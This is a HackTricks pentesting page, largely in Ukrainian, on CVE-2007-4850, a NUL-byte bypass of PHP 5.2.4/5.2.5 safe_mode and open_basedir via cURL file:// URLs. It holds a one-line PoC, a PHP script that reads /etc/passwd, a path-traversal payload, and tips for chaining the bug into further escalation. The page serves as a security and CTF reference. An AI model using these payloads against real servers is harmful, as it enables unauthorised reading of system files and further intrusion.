PHP 5.2.4 і 5.2.5 — PHP cURL

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

На цій сторінці описується застарілий, але все ще корисний у CTFs/local-legacy-installs трюк для обходу перевірок PHP safe_mode/open_basedir з використанням розширення cURL на певних збірках PHP 5.2.x.

  • Постраждалі: PHP 5.2.4 та 5.2.5 з увімкненим ext/curl.
  • Наслідки: читання довільних локальних файлів незважаючи на обмеження safe_mode або open_basedir (без прямого виконання коду).
  • ID: CVE-2007-4850.

Джерело: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Однорядковий PoC

Якщо safe_mode або open_basedir активні, і cURL увімкнено, наступне поверне вміст поточного скрипту:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Більш детальний PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notes:

  • Використовуйте подвійні лапки або chr(0) для вставки реального NUL-байта. Percent-encoding (%00) буде працювати ненадійно.
  • Це примітив читання файлу. Комбінуйте з іншими примітивами (log poisoning, session file inclusion, etc.) для подальшого ескалаційного впливу, коли це можливо.

Why this works (short)

Вразливість полягає в тому, як PHP 5.2.4/5.2.5 виконували перевірки safe_mode/open_basedir для file:// URL в ext/curl. Перевірка розбирала URL і валідовувала компонент шляху, але через обробку NUL-байта вона валідовувала інший рядок, ніж той, що фактично використовував libcurl. На практиці валідатор міг дозволити шлях після NUL, тоді як libcurl використовував частину перед NUL як контейнер URL, що дозволяло обхід і читання файлу, розташованого після NUL-байта. Див. оригінальний аналіз і уражений макрос у curl/interface.c для деталей. [CVE-2007-4850].

Constraints and fixes

  • Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
  • Поширюється лише на дуже старі розгортання PHP; safe_mode був видалений у PHP 5.4 і сучасні збірки не демонструють такої поведінки.
  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed file:// access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues using file:// without canonicalization. Any check before the NUL byte or without realpath-style resolution is prone to the same truncation.

CTF tips

  • When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for cURL support => enabled in phpinfo() and the exact PHP Version), this trick usually works even if allow_url_fopen is disabled because ext/curl handles file:// itself.
  • If direct paths are blocked, try relative traversal after the NUL, e.g. file://x\x00../../../../etc/passwd. The traversal is resolved by libcurl, not by the open_basedir guard.
  • You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into curl_exec() (common in legacy SSRF-like endpoints).

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks